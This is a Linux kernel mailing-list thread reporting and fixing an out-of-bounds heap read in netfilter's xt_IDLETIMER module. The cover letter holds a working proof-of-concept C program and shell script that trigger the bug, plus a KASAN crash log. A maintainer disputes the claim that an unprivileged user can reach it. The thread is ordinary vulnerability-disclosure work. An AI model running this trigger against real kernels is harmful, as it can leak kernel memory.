* [PATCH nf 0/1] netfilter: xt_IDLETIMER: fix out-of-bounds heap read in checkentry
@ 2026-08-18 1:56 Ren Wei
2026-08-18 1:56 ` [PATCH nf 1/1] netfilter: xt_IDLETIMER: validate label before debug logging " Ren Wei
2026-08-18 8:04 ` [PATCH nf 0/1] netfilter: xt_IDLETIMER: fix out-of-bounds heap read " Pablo Neira Ayuso
0 siblings, 2 replies; 4+ messages in thread
From: Ren Wei @ 2026-08-18 1:56 UTC (permalink / raw)
To: netfilter-devel
Cc: pablo, fw, phil, davem, edumazet, kuba, pabeni, horms,
luciano.coelho, kaber, quic_manojbm, quic_subashab, vega,
rakukuip, weir
From: Luxiao Xu <rakukuip@gmail.com>
Hi Linux kernel maintainers,
We found and validated an issue in net/netfilter/xt_IDLETIMER.c. The bug is reachable by a non-root user via user and net namespace.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
Both `idletimer_tg_checkentry()` and `idletimer_tg_checkentry_v1()` in `net/netfilter/xt_IDLETIMER.c` invoke `pr_debug("checkentry targinfo%s\n", info->label)` before `idletimer_tg_helper()` validates whether the 28-byte user-controlled `info->label` buffer is properly NUL-terminated.
When an unprivileged user creates a user + network namespace (`unshare -Urn`), they obtain namespaced `CAP_NET_ADMIN` and can invoke `setsockopt(..., IPT_SO_SET_REPLACE, ...)` with a custom `label` containing no NUL byte.
When dynamic debugging is enabled (or in kernels built with DEBUG), `pr_debug()` formats the string via `vsnprintf()` -> `string()`, which scans past the end of the allocated target structure until it encounters a zero byte. This results in a slab-out-of-bounds heap read (detectable by KASAN) and potential information disclosure through kernel logs.
Reproducer:
chmod +x poc.sh
unshare -Urn ./poc.sh
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.sh------
#!/bin/sh
set -eu
dir=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
cd "$dir"
echo 0 > /proc/sys/kernel/panic_on_warn
echo 8 > /proc/sys/kernel/printk
echo 'file net/netfilter/xt_IDLETIMER.c +p' > /proc/dynamic_debug/control
make clean >/dev/null 2>&1 || true
make
./poc
------END poc.sh--------
------BEGIN poc.c------
#define _GNU_SOURCE
#include <errno.h>
#include <linux/netfilter.h>
#include <linux/netfilter/xt_IDLETIMER.h>
#include <linux/netfilter/x_tables.h>
#include <linux/netfilter_ipv4/ip_tables.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
struct ipt_standard {
struct ipt_entry entry;
struct xt_standard_target target;
};
struct idletimer_payload_v0 {
struct xt_entry_target target;
struct idletimer_tg_info info;
};
struct idletimer_rule_v0 {
struct ipt_entry entry;
struct idletimer_payload_v0 payload;
};
static void init_standard_accept(struct ipt_standard *rule)
{
memset(rule, 0, sizeof(*rule));
rule->entry.target_offset = sizeof(rule->entry);
rule->entry.next_offset = sizeof(*rule);
rule->target.target.u.user.target_size = XT_ALIGN(sizeof(rule->target));
rule->target.verdict = -NF_ACCEPT - 1;
}
static void init_malicious_rule(struct idletimer_rule_v0 *rule)
{
memset(rule, 0, sizeof(*rule));
rule->entry.target_offset = sizeof(rule->entry);
rule->entry.next_offset = sizeof(*rule);
rule->payload.target.u.user.target_size =
XT_ALIGN(sizeof(rule->payload));
strncpy(rule->payload.target.u.user.name, "IDLETIMER",
sizeof(rule->payload.target.u.user.name));
rule->payload.info.timeout = 1;
memset(rule->payload.info.label, 'A', sizeof(rule->payload.info.label));
memset(&rule->payload.info.timer, 'B', sizeof(rule->payload.info.timer));
}
static int get_filter_info(int fd, struct ipt_getinfo *info)
{
socklen_t len = sizeof(*info);
memset(info, 0, sizeof(*info));
strncpy(info->name, "filter", sizeof(info->name) - 1);
if (getsockopt(fd, IPPROTO_IP, IPT_SO_GET_INFO, info, &len) < 0)
return -1;
return 0;
}
int main(void)
{
struct ipt_getinfo info;
struct ipt_replace *repl;
struct ipt_standard *input;
struct ipt_standard *forward;
struct ipt_standard *output;
struct idletimer_rule_v0 *bug;
size_t payload_size;
size_t total_len;
char *cursor;
int fd;
int ret;
fd = socket(AF_INET, SOCK_STREAM, 0);
if (fd < 0) {
perror("socket");
return 1;
}
if (get_filter_info(fd, &info) < 0) {
perror("getsockopt(IPT_SO_GET_INFO)");
close(fd);
return 1;
}
payload_size = sizeof(*input) + sizeof(*forward) + sizeof(*output) +
sizeof(*bug);
total_len = sizeof(*repl) + payload_size;
repl = calloc(1, total_len);
if (!repl) {
perror("calloc");
close(fd);
return 1;
}
strncpy(repl->name, "filter", sizeof(repl->name) - 1);
repl->valid_hooks = info.valid_hooks;
repl->num_entries = 4;
repl->size = payload_size;
repl->num_counters = info.num_entries;
cursor = (char *)repl->entries;
input = (struct ipt_standard *)cursor;
init_standard_accept(input);
repl->hook_entry[NF_INET_LOCAL_IN] = cursor - (char *)repl->entries;
repl->underflow[NF_INET_LOCAL_IN] = cursor - (char *)repl->entries;
cursor += sizeof(*input);
forward = (struct ipt_standard *)cursor;
init_standard_accept(forward);
repl->hook_entry[NF_INET_FORWARD] = cursor - (char *)repl->entries;
repl->underflow[NF_INET_FORWARD] = cursor - (char *)repl->entries;
cursor += sizeof(*forward);
output = (struct ipt_standard *)cursor;
init_standard_accept(output);
repl->hook_entry[NF_INET_LOCAL_OUT] = cursor - (char *)repl->entries;
repl->underflow[NF_INET_LOCAL_OUT] = cursor - (char *)repl->entries;
cursor += sizeof(*output);
bug = (struct idletimer_rule_v0 *)cursor;
init_malicious_rule(bug);
printf("table valid_hooks=0x%x old_num_entries=%u new_size=%u\n",
info.valid_hooks, info.num_entries, repl->size);
printf("malicious label bytes=%zu timer bytes=%zu\n",
sizeof(bug->payload.info.label), sizeof(bug->payload.info.timer));
fflush(stdout);
ret = setsockopt(fd, IPPROTO_IP, IPT_SO_SET_REPLACE, repl, total_len);
if (ret < 0)
perror("setsockopt(IPT_SO_SET_REPLACE)");
else
puts("setsockopt(IPT_SO_SET_REPLACE) unexpectedly succeeded");
free(repl);
close(fd);
return ret < 0 ? 0 : 1;
}
------END poc.c--------
----BEGIN crash log----
[ 586.594104][ T9476] ===============================================
label bytes=28 t[ 586.594924][ T9476] BUG: KASAN: slab-out-of-bounds in string0
imer bytes=8
[ 586.595763][ T9476] Read of size 1 at addr ffff8880383d4ac0 by task poc/9476
[ 586.596619][ T9476]
[ 586.596947][ T9476] CPU: 1 UID: 0 PID: 9476 Comm: poc Not tainted 7.0.0-rc6-
[ 586.596955][ T9476] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, a4
[ 586.596971][ T9476] Call Trace:
[ 586.596983][ T9476] <TASK>
[ 586.596986][ T9476] dump_stack_lvl+0x10e/0x1f0
[ 586.597025][ T9476] print_report+0xf7/0x600
[ 586.597086][ T9476] ? preempt_count_sub+0x13/0xd0
[ 586.597130][ T9476] ? __virt_addr_valid+0x1ab/0x330
[ 586.597180][ T9476] ? __phys_addr+0x41/0x90
[ 586.597188][ T9476] ? string+0x177/0x340
[ 586.597194][ T9476] kasan_report+0xe4/0x120
[ 586.597213][ T9476] ? string+0x177/0x340
[ 586.597220][ T9476] string+0x177/0x340
[ 586.597227][ T9476] ? __pfx_string+0x10/0x10
[ 586.597233][ T9476] ? lock_release+0x225/0x2f0
[ 586.597254][ T9476] vsnprintf+0x2c2/0xb20
[ 586.597266][ T9476] ? __pfx_vsnprintf+0x10/0x10
[ 586.597272][ T9476] ? unwind_next_frame+0x269/0x10a0
[ 586.597285][ T9476] va_format+0x17b/0x340
[ 586.597292][ T9476] ? lock_release+0x1ba/0x2f0
[ 586.597297][ T9476] ? __rcu_read_unlock+0x4b/0x340
[ 586.597321][ T9476] ? __pfx_va_format+0x10/0x10
[ 586.597328][ T9476] ? is_bpf_text_address+0x94/0x1a0
[ 586.597361][ T9476] ? unwind_get_return_address+0x32/0x50
[ 586.597368][ T9476] ? rcu_is_watching+0x3d/0x80
[ 586.597380][ T9476] pointer+0x6d2/0xa50
[ 586.597386][ T9476] ? format_decode+0x2ef/0x760
[ 586.597391][ T9476] ? __pfx_pointer+0x10/0x10
[ 586.597397][ T9476] ? is_bpf_text_address+0x8a/0x1a0
[ 586.597404][ T9476] ? rcu_is_watching+0x3d/0x80
[ 586.597411][ T9476] vsnprintf+0x794/0xb20
[ 586.597418][ T9476] ? __pfx_vsnprintf+0x10/0x10
[ 586.597424][ T9476] ? __rcu_read_unlock+0x4b/0x340
[ 586.597430][ T9476] vprintk_store+0x35c/0x9c0
[ 586.597445][ T9476] ? arch_stack_walk+0xa6/0xf0
[ 586.597462][ T9476] ? __pfx_vprintk_store+0x10/0x10
[ 586.597470][ T9476] ? stack_trace_save+0x8e/0xc0
[ 586.597485][ T9476] ? stack_depot_save_flags+0x29/0x990
[ 586.597540][ T9476] ? is_printk_cpu_sync_owner+0x32/0x40
[ 586.597548][ T9476] vprintk_emit+0x123/0x670
[ 586.597555][ T9476] ? __pfx_vprintk_emit+0x10/0x10
[ 586.597562][ T9476] ? is_bpf_text_address+0x8a/0x1a0
[ 586.597568][ T9476] ? rcu_is_watching+0x3d/0x80
[ 586.597575][ T9476] ? pcpu_next_md_free_region+0x99/0x220
[ 586.597614][ T9476] _printk+0xc7/0x100
[ 586.597620][ T9476] ? __pfx__printk+0x10/0x10
[ 586.597626][ T9476] ? lock_acquire+0x303/0x360
[ 586.597631][ T9476] ? rcu_is_watching+0x3d/0x80
[ 586.597639][ T9476] __dynamic_pr_debug+0x1f4/0x260
[ 586.597654][ T9476] ? __pfx___dynamic_pr_debug+0x10/0x10
[ 586.597661][ T9476] ? rcu_is_watching+0x3d/0x80
[ 586.597668][ T9476] ? __pfx___mutex_lock+0x10/0x10
[ 586.597682][ T9476] ? xt_check_target_common+0x1c8/0x670
[ 586.597732][ T9476] ? idletimer_tg_checkentry+0x1d/0x700
[ 586.597753][ T9476] idletimer_tg_checkentry+0x1fc/0x700
[ 586.597768][ T9476] ? __pfx_idletimer_tg_checkentry+0x10/0x10
[ 586.597779][ T9476] xt_check_target+0xb8/0x100
[ 586.597787][ T9476] find_check_entry.isra.0+0x56c/0x5d0
[ 586.597824][ T9476] ? __pfx_find_check_entry.isra.0+0x10/0x10
[ 586.597831][ T9476] ? trace_irq_enable.constprop.0+0xfd/0x120
[ 586.597853][ T9476] ? kfree+0x2e2/0x6c0
[ 586.597861][ T9476] ? translate_table+0x766/0xce0
[ 586.597868][ T9476] ? xt_check_table_hooks+0x1bf/0x2e0
[ 586.597874][ T9476] translate_table+0x7e3/0xce0
[ 586.597881][ T9476] ? __pfx_translate_table+0x10/0x10
[ 586.597888][ T9476] do_ipt_set_ctl+0x3fd/0x9a0
[ 586.597895][ T9476] ? __pfx_do_ipt_set_ctl+0x10/0x10
[ 586.597907][ T9476] ? preempt_count_sub+0x13/0xd0
[ 586.597913][ T9476] ? __mutex_unlock_slowpath+0x2a2/0x640
[ 586.597920][ T9476] ? sockopt_release_sock+0x40/0x50
[ 586.597944][ T9476] ? __pfx___mutex_unlock_slowpath+0x10/0x10
[ 586.597953][ T9476] nf_setsockopt+0x7b/0xc0
[ 586.597970][ T9476] ip_setsockopt+0xcb/0xf0
[ 586.597994][ T9476] tcp_setsockopt+0x83/0xd0
[ 586.598009][ T9476] ? __pfx_sock_common_setsockopt+0x10/0x10
[ 586.598020][ T9476] do_sock_setsockopt+0xc3/0x170
[ 586.598031][ T9476] __sys_setsockopt+0x122/0x180
[ 586.598037][ T9476] __x64_sys_setsockopt+0x64/0x80
[ 586.598042][ T9476] do_syscall_64+0x116/0x800
[ 586.598050][ T9476] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 586.598066][ T9476] RIP: 0033:0x7f7e1c3850fa
[ 586.598086][ T9476] Code: ff ff ff c3 0f 1f 40 00 48 8b 15 91 0d 0d 00 f7 d88
[ 586.598092][ T9476] RSP: 002b:00007fff020d1e88 EFLAGS: 00000206 ORIG_RAX: 006
[ 586.598106][ T9476] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f7a
[ 586.598109][ T9476] RDX: 0000000000000040 RSI: 0000000000000000 RDI: 00000003
[ 586.598112][ T9476] RBP: 00005576744652a0 R08: 00000000000002e0 R09: 00007ff7
[ 586.598116][ T9476] R10: 00005576744652a0 R11: 0000000000000206 R12: 00000003
[ 586.598119][ T9476] R13: 0000000000000000 R14: 0000000000000000 R15: 00000000
[ 586.598124][ T9476] </TASK>
[ 586.598126][ T9476]
[ 586.646461][ T9476] Allocated by task 9476:
[ 586.646897][ T9476] kasan_save_stack+0x33/0x60
[ 586.647409][ T9476] kasan_save_track+0x14/0x30
[ 586.648016][ T9476] __kasan_kmalloc+0xaa/0xb0
[ 586.648505][ T9476] __kvmalloc_node_noprof+0x394/0x9a0
[ 586.649081][ T9476] xt_alloc_table_info+0x44/0x80
[ 586.649607][ T9476] do_ipt_set_ctl+0x38a/0x9a0
[ 586.650115][ T9476] nf_setsockopt+0x7b/0xc0
[ 586.650597][ T9476] ip_setsockopt+0xcb/0xf0
[ 586.651074][ T9476] tcp_setsockopt+0x83/0xd0
[ 586.651565][ T9476] do_sock_setsockopt+0xc3/0x170
[ 586.652106][ T9476] __sys_setsockopt+0x122/0x180
[ 586.652623][ T9476] __x64_sys_setsockopt+0x64/0x80
[ 586.653104][ T9476] do_syscall_64+0x116/0x800
[ 586.653561][ T9476] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 586.654175][ T9476]
[ 586.654412][ T9476] The buggy address belongs to the object at ffff8880383d40
[ 586.654412][ T9476] which belongs to the cache kmalloc-cg-1k of size 1024
[ 586.655785][ T9476] The buggy address is located 0 bytes to the right of
[ 586.655785][ T9476] allocated 704-byte region [ffff8880383d4800, ffff888038)
[ 586.657192][ T9476]
[ 586.657417][ T9476] The buggy address belongs to the physical page:
[ 586.658154][ T9476] page: refcount:0 mapcount:0 mapping:0000000000000000 ind0
[ 586.659181][ T9476] head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapp0
[ 586.660035][ T9476] memcg:ffff8880383d0411
[ 586.660463][ T9476] flags: 0xfff00000000240(workingset|head|node=0|zone=1|la)
[ 586.661339][ T9476] page_type: f5(slab)
[ 586.661715][ T9476] raw: 00fff00000000240 ffff88801785d280 ffff88801785c648 0
[ 586.662552][ T9476] raw: ffff8880383d7000 000008000010000f 00000000f5000000 1
[ 586.663607][ T9476] head: 00fff00000000240 ffff88801785d280 ffff88801785c6480
[ 586.664452][ T9476] head: ffff8880383d7000 000008000010000f 00000000f50000001
[ 586.665341][ T9476] head: 00fff00000000003 fffffffffffffe01 00000000fffffffff
[ 586.666235][ T9476] head: ffffffffffffffff 0000000000000000 00000000ffffffff8
[ 586.667122][ T9476] page dumped because: kasan: bad access detected
[ 586.667801][ T9476] page_owner tracks the page as allocated
[ 586.668367][ T9476] page last allocated via order 3, migratetype Unmovable, 4
[ 586.670332][ T9476] post_alloc_hook+0xe6/0x100
[ 586.670835][ T9476] get_page_from_freelist+0x55c/0x2210
[ 586.671357][ T9476] __alloc_frozen_pages_noprof+0x221/0x1cb0
[ 586.671957][ T9476] new_slab+0xa2/0x5f0
[ 586.672359][ T9476] refill_objects+0xe3/0x430
[ 586.672836][ T9476] __pcs_replace_empty_main+0x2ed/0x650
[ 586.673409][ T9476] __kmalloc_node_track_caller_noprof+0x68e/0x860
[ 586.673987][ T9476] kmalloc_reserve+0xa4/0x1f0
[ 586.674456][ T9476] __alloc_skb+0x172/0x470
[ 586.674923][ T9476] alloc_skb_with_frags+0x9f/0x4c0
[ 586.675430][ T9476] sock_alloc_send_pskb+0x5eb/0x630
[ 586.675940][ T9476] unix_stream_sendmsg+0x2dd/0xd60
[ 586.676514][ T9476] ____sys_sendmsg+0x78e/0x7c0
[ 586.677008][ T9476] ___sys_sendmsg+0x129/0x1b0
[ 586.677457][ T9476] __sys_sendmsg+0x133/0x1d0
[ 586.677937][ T9476] do_syscall_64+0x116/0x800
[ 586.678462][ T9476] page last free pid 1 tgid 1 stack trace:
[ 586.679111][ T9476] __free_frozen_pages+0x52d/0x960
[ 586.679675][ T9476] qlist_free_all+0x47/0xf0
[ 586.680161][ T9476] kasan_quarantine_reduce+0x195/0x1e0
[ 586.680709][ T9476] __kasan_slab_alloc+0x69/0x90
[ 586.681194][ T9476] kmem_cache_alloc_noprof+0x23a/0x6d0
[ 586.681747][ T9476] do_getname+0x35/0x290
[ 586.682209][ T9476] __do_sys_newstat+0x8a/0x130
[ 586.682706][ T9476] do_syscall_64+0x116/0x800
[ 586.683147][ T9476] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 586.683722][ T9476]
[ 586.683961][ T9476] Memory state around the buggy address:
[ 586.684521][ T9476] ffff8880383d4980: 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 586.685316][ T9476] ffff8880383d4a00: 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 586.686141][ T9476] >ffff8880383d4a80: 00 00 00 00 00 00 00 00 fc fc fc fc fc
[ 586.686925][ T9476] ^
[ 586.687531][ T9476] ffff8880383d4b00: fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 586.688368][ T9476] ffff8880383d4b80: fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 586.689176][ T9476] =========================================================
-----END crash log-----
Best regards,
Luxiao Xu <rakukuip@gmail.com>
Ren Wei <n05ec@lzu.edu.cn>
Luxiao Xu (1):
netfilter: xt_IDLETIMER: validate label before debug logging in
checkentry
net/netfilter/xt_IDLETIMER.c | 9 +++++----
1 file changed, 5 insertions(+), 4 deletions(-)
--
2.43.0
^ permalink raw reply [flat|nested] 4+ messages in thread* [PATCH nf 1/1] netfilter: xt_IDLETIMER: validate label before debug logging in checkentry
2026-08-18 1:56 [PATCH nf 0/1] netfilter: xt_IDLETIMER: fix out-of-bounds heap read in checkentry Ren Wei
@ 2026-08-18 1:56 ` Ren Wei
2026-08-18 8:05 ` Fernando Fernandez Mancera
2026-08-18 8:04 ` [PATCH nf 0/1] netfilter: xt_IDLETIMER: fix out-of-bounds heap read " Pablo Neira Ayuso
1 sibling, 1 reply; 4+ messages in thread
From: Ren Wei @ 2026-08-18 1:56 UTC (permalink / raw)
To: netfilter-devel
Cc: pablo, fw, phil, davem, edumazet, kuba, pabeni, horms,
luciano.coelho, kaber, quic_manojbm, quic_subashab, vega,
rakukuip, weir
From: Luxiao Xu <rakukuip@gmail.com>
Both idletimer_tg_checkentry() and idletimer_tg_checkentry_v1() invoke
pr_debug() with "%s" on info->label before idletimer_tg_helper() verifies
that the 28-byte label is properly NUL-terminated.
If a user-supplied label is not NUL-terminated, printk format string
parsing reads past the end of the allocated target structure until it
encounters a zero byte. In builds with DEBUG enabled or when dynamic debug
is active for this callsite, this triggers a slab-out-of-bounds read
(detected by KASAN) and can disclose adjacent kernel memory into the logs.
Fix this by moving the pr_debug() calls after idletimer_tg_helper() has
successfully validated the label string.
Fixes: 0902b469bd25 ("netfilter: xtables: idletimer target implementation")
Fixes: 68983a354a65 ("netfilter: xtables: Add snapshot of hardidletimer target")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Luxiao Xu <rakukuip@gmail.com>
Signed-off-by: Ren Wei <weir@nebusec.ai>
---
net/netfilter/xt_IDLETIMER.c | 9 +++++----
1 file changed, 5 insertions(+), 4 deletions(-)
diff --git a/net/netfilter/xt_IDLETIMER.c b/net/netfilter/xt_IDLETIMER.c
index bfcf2d44e93d..8f7b1ece0136 100644
--- a/net/netfilter/xt_IDLETIMER.c
+++ b/net/netfilter/xt_IDLETIMER.c
@@ -318,14 +318,15 @@ static int idletimer_tg_checkentry(const struct xt_tgchk_param *par)
struct idletimer_tg_info *info = par->targinfo;
int ret;
- pr_debug("checkentry targinfo%s\n", info->label);
-
ret = idletimer_tg_helper(info);
if(ret < 0)
{
pr_debug("checkentry helper return invalid\n");
return -EINVAL;
}
+
+ pr_debug("checkentry targinfo%s\n", info->label);
+
mutex_lock(&list_mutex);
info->timer = __idletimer_tg_find_by_label(info->label);
@@ -360,8 +361,6 @@ static int idletimer_tg_checkentry_v1(const struct xt_tgchk_param *par)
struct idletimer_tg_info_v1 *info = par->targinfo;
int ret;
- pr_debug("checkentry targinfo%s\n", info->label);
-
if (info->send_nl_msg)
return -EOPNOTSUPP;
@@ -372,6 +371,8 @@ static int idletimer_tg_checkentry_v1(const struct xt_tgchk_param *par)
return -EINVAL;
}
+ pr_debug("checkentry targinfo%s\n", info->label);
+
if (info->timer_type > XT_IDLETIMER_ALARM) {
pr_debug("invalid value for timer type\n");
return -EINVAL;
--
2.43.0
^ permalink raw reply related [flat|nested] 4+ messages in thread* Re: [PATCH nf 1/1] netfilter: xt_IDLETIMER: validate label before debug logging in checkentry
2026-08-18 1:56 ` [PATCH nf 1/1] netfilter: xt_IDLETIMER: validate label before debug logging " Ren Wei
@ 2026-08-18 8:05 ` Fernando Fernandez Mancera
0 siblings, 0 replies; 4+ messages in thread
From: Fernando Fernandez Mancera @ 2026-08-18 8:05 UTC (permalink / raw)
To: Ren Wei, netfilter-devel
Cc: pablo, fw, phil, davem, edumazet, kuba, pabeni, horms,
luciano.coelho, kaber, quic_manojbm, quic_subashab, vega,
rakukuip
On 8/18/26 3:56 AM, Ren Wei wrote:
> From: Luxiao Xu <rakukuip@gmail.com>
>
> Both idletimer_tg_checkentry() and idletimer_tg_checkentry_v1() invoke
> pr_debug() with "%s" on info->label before idletimer_tg_helper() verifies
> that the 28-byte label is properly NUL-terminated.
>
> If a user-supplied label is not NUL-terminated, printk format string
> parsing reads past the end of the allocated target structure until it
> encounters a zero byte. In builds with DEBUG enabled or when dynamic debug
> is active for this callsite, this triggers a slab-out-of-bounds read
> (detected by KASAN) and can disclose adjacent kernel memory into the logs.
>
> Fix this by moving the pr_debug() calls after idletimer_tg_helper() has
> successfully validated the label string.
>
> Fixes: 0902b469bd25 ("netfilter: xtables: idletimer target implementation")
> Fixes: 68983a354a65 ("netfilter: xtables: Add snapshot of hardidletimer target")
> Cc: stable@vger.kernel.org
> Reported-by: Vega <vega@nebusec.ai>
> Assisted-by: Codex:gpt-5.4
> Signed-off-by: Luxiao Xu <rakukuip@gmail.com>
> Signed-off-by: Ren Wei <weir@nebusec.ai>
> ---
Reviewed-by: Fernando Fernandez Mancera <fmancera@suse.de>
Thanks!
^ permalink raw reply [flat|nested] 4+ messages in thread
* Re: [PATCH nf 0/1] netfilter: xt_IDLETIMER: fix out-of-bounds heap read in checkentry
2026-08-18 1:56 [PATCH nf 0/1] netfilter: xt_IDLETIMER: fix out-of-bounds heap read in checkentry Ren Wei
2026-08-18 1:56 ` [PATCH nf 1/1] netfilter: xt_IDLETIMER: validate label before debug logging " Ren Wei
@ 2026-08-18 8:04 ` Pablo Neira Ayuso
1 sibling, 0 replies; 4+ messages in thread
From: Pablo Neira Ayuso @ 2026-08-18 8:04 UTC (permalink / raw)
To: Ren Wei
Cc: netfilter-devel, fw, phil, davem, edumazet, kuba, pabeni, horms,
luciano.coelho, kaber, quic_manojbm, quic_subashab, vega,
rakukuip
On Tue, Aug 18, 2026 at 09:56:47AM +0800, Ren Wei wrote:
> From: Luxiao Xu <rakukuip@gmail.com>
>
> Hi Linux kernel maintainers,
>
> We found and validated an issue in net/netfilter/xt_IDLETIMER.c. The bug is reachable by a non-root user via user and net namespace.
> We've tested it, and it should not affect any other functionality.
>
> We will provide detailed information about the bug in this email, along with a PoC to trigger it.
>
> ---- details below ----
>
> Bug details:
>
> Both `idletimer_tg_checkentry()` and `idletimer_tg_checkentry_v1()` in `net/netfilter/xt_IDLETIMER.c` invoke `pr_debug("checkentry targinfo%s\n", info->label)` before `idletimer_tg_helper()` validates whether the 28-byte user-controlled `info->label` buffer is properly NUL-terminated.
>
> When an unprivileged user creates a user + network namespace (`unshare -Urn`), they obtain namespaced `CAP_NET_ADMIN` and can invoke `setsockopt(..., IPT_SO_SET_REPLACE, ...)` with a custom `label` containing no NUL byte.
You have to enable pr_debug to trigger this, you cannot do it from
from user namespace.
^ permalink raw reply [flat|nested] 4+ messages in thread
end of thread, other threads:[~2026-08-18 8:06 UTC | newest]
Thread overview: 4+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-08-18 1:56 [PATCH nf 0/1] netfilter: xt_IDLETIMER: fix out-of-bounds heap read in checkentry Ren Wei
2026-08-18 1:56 ` [PATCH nf 1/1] netfilter: xt_IDLETIMER: validate label before debug logging " Ren Wei
2026-08-18 8:05 ` Fernando Fernandez Mancera
2026-08-18 8:04 ` [PATCH nf 0/1] netfilter: xt_IDLETIMER: fix out-of-bounds heap read " Pablo Neira Ayuso
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